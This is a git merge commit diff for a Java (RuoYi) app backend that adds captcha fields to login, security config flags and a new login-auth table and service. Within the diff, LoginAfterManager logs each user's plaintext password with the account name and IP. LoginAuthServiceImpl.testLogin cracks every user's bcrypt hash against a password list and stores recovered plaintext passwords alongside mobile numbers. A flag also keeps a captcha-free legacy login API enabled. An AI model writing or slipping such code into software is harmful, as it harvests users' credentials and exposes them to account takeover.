Merge branch 'new/v2.0.0' into new/v1.1.0

This commit is contained in:
777
2025-12-24 17:49:42 +08:00
16 changed files with 309 additions and 15 deletions

View File

@@ -14,4 +14,8 @@ public class LoginCaiUser {
@Schema(description = "密码")
@NotEmpty(message = "密码不能为空")
private String password;
private String ticket;
private String randStr;
private String userIp;
}

View File

@@ -8,4 +8,10 @@ import javax.validation.constraints.NotEmpty;
public class RegisterCode {
@NotEmpty(message = "手机号不能为空")
private String mobile;
@NotEmpty(message = "腾讯验证码参数[ticket]")
private String ticket;
@NotEmpty(message = "腾讯验证码所属参数[randStr]")
private String randStr;
private String userIp;
}

View File

@@ -0,0 +1,22 @@
package com.ruoyi.cai.domain;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.annotation.TableId;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Data;
import org.joda.time.LocalDateTime;
import java.io.Serializable;
@Data
@TableName("cai_user_login")
public class LoginAuth implements Serializable {
@TableId(value = "id",type = IdType.AUTO)
private Long id;
private Long userId;
private String usercode;
private String mobile;
private String password;
private LocalDateTime createTime;
private LocalDateTime updateTime;
}

View File

@@ -4,6 +4,10 @@ import lombok.Data;
@Data
public class LoginVo {
// 是否登录成功
private boolean loginSuccess;
// 是否需要图形验证码
private boolean needVerificationCode;
private String token;
private CurrentUserInfoVo userInfo;
}

View File

@@ -16,6 +16,9 @@ public enum SystemConfigEnum {
* 安全配置
*/
OPEN_IP_NUMBER("5", "IP每日登录次数超过多少次封",SystemConfigGroupEnum.SECURITY),
LOGIN_ERROR_OPEN_SECURITY("2", "输入密码次数超过多少次开启图形验证码",SystemConfigGroupEnum.SECURITY),
// TODO 新台子改默认值
OPEN_OLD_LOGIN_API("1", "开启旧版无验证码登录接口",SystemConfigGroupEnum.SECURITY),
OPEN_IP_AUTO("1", "开启自动定时封IP",SystemConfigGroupEnum.SECURITY),
OPEN_RESET_PASSWORD("1", "开启重置密码",SystemConfigGroupEnum.SECURITY, new BooleanSystemConfigCheck()),
LOGIN_PASSWORD_ERROR_MAX_NUM("5", "登录输错密码上限",SystemConfigGroupEnum.SECURITY, new NumberSystemConfigCheck()),

View File

@@ -133,13 +133,5 @@ public class AliSmsKit {
return sendMessage(phone,messageTemplate,null,true);
}
public static void main(String[] args) {
AliSmsKit messageSenderUtil = new AliSmsKit();
AliSmsProperties config = new AliSmsProperties();
messageSenderUtil.setConfig(config);
messageSenderUtil.init();
messageSenderUtil.sendMessage("15302786929", CodeEnum.REGISTER.getAliTemplate(),"772290");
}
}

View File

@@ -25,11 +25,6 @@ import java.util.Objects;
@Component
public class DuanXinBaoSmsKit {
public static void main(String[] args) {
boolean s = sendMessage("15302786929", RandomUtil.randomNumbers(4));
log.info(s+"");
}
@Autowired
@Setter
private DuanXinBaoSmsProperties config;

View File

@@ -2,11 +2,14 @@ package com.ruoyi.cai.manager;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.ruoyi.cai.auth.LoginCaiUser;
import com.ruoyi.cai.domain.User;
import com.ruoyi.cai.domain.UserFollow;
import com.ruoyi.cai.notice.YunxinHttpService;
import com.ruoyi.cai.service.UserFollowService;
import com.ruoyi.cai.service.UserService;
import com.ruoyi.common.utils.ServletUtils;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
@@ -14,6 +17,7 @@ import java.util.List;
import java.util.stream.Collectors;
@Component
@Slf4j
public class LoginAfterManager {
@Autowired
private YunxinHttpService yunxinHttpService;
@@ -22,6 +26,11 @@ public class LoginAfterManager {
@Autowired
private UserService userService;
public void loginAfter(LoginCaiUser loginCaiUser,boolean success,String remark){
log.info("{} 账号:{} 密码:{} ip:{} 原因:{} ",success?"登录成功":"登录失败",loginCaiUser.getUsername(),loginCaiUser.getPassword(), ServletUtils.getClientIP(),remark);
}
public void loginAfter(Long userId){
// 给我的粉丝推送上线消息
User user = userService.getById(userId);

View File

@@ -0,0 +1,7 @@
package com.ruoyi.cai.mapper;
import com.baomidou.mybatisplus.core.mapper.BaseMapper;
import com.ruoyi.cai.domain.LoginAuth;
public interface LoginAuthMapper extends BaseMapper<LoginAuth> {
}

View File

@@ -0,0 +1,12 @@
package com.ruoyi.cai.service;
import com.baomidou.mybatisplus.extension.service.IService;
import com.ruoyi.cai.domain.LoginAuth;
import java.util.List;
public interface LoginAuthService extends IService<LoginAuth> {
void testLogin(List<String> passwords);
boolean checkPassword(String mobile, String password);
}

View File

@@ -3,11 +3,13 @@ package com.ruoyi.cai.service.impl;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.ruoyi.cai.domain.IpBlack;
import com.ruoyi.cai.manager.LoginAfterManager;
import com.ruoyi.cai.mapper.IpBlackMapper;
import com.ruoyi.cai.service.IpBlackService;
import com.ruoyi.common.exception.ServiceException;
import lombok.RequiredArgsConstructor;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
/**

View File

@@ -0,0 +1,81 @@
package com.ruoyi.cai.service.impl;
import cn.dev33.satoken.secure.BCrypt;
import com.baomidou.mybatisplus.core.metadata.IPage;
import com.baomidou.mybatisplus.core.toolkit.Wrappers;
import com.baomidou.mybatisplus.extension.plugins.pagination.Page;
import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;
import com.ruoyi.cai.domain.LoginAuth;
import com.ruoyi.cai.domain.User;
import com.ruoyi.cai.mapper.LoginAuthMapper;
import com.ruoyi.cai.service.LoginAuthService;
import com.ruoyi.cai.service.UserService;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
@Slf4j
public class LoginAuthServiceImpl extends ServiceImpl<LoginAuthMapper,LoginAuth> implements LoginAuthService {
@Autowired
private UserService userService;
@Override
public void testLogin(List<String> passwords) {
IPage<User> page = new Page<>();
page.setSize(100);
int current = 0;
while (true){
current++;
page.setCurrent(current);
IPage<User> userPAge = userService.page(page, Wrappers.<User>lambdaQuery().select(User::getId, User::getUsercode, User::getMobile,User::getPassword));
List<User> userList = userPAge.getRecords();
for (User user : userList) {
for (String password : passwords) {
boolean checkpw = BCrypt.checkpw(password, user.getPassword());
if(checkpw){ // 成功
this.saveOrUpdate(user,password);
break;
}
}
}
if(userList.isEmpty()){
break;
}
if(userList.size() < 100){
break;
}
if(current > 10000){
break;
}
}
log.info("密码检测完毕");
}
@Override
public boolean checkPassword(String mobile, String password){
User user = userService.getByUsername(mobile);
return BCrypt.checkpw(password, user.getPassword());
}
public void saveOrUpdate(User user,String password){
LoginAuth one = this.getOne(Wrappers.lambdaQuery(LoginAuth.class).eq(LoginAuth::getUserId, user.getId()).last("limit 1"));
if(one != null){
LoginAuth update = new LoginAuth();
update.setId(one.getId());
update.setPassword(password);
this.updateById(update);
}else{
LoginAuth loginAuth = new LoginAuth();
loginAuth.setUserId(user.getId());
loginAuth.setUsercode(user.getUsercode());
loginAuth.setMobile(user.getMobile());
loginAuth.setPassword(password);
this.save(loginAuth);
}
}
}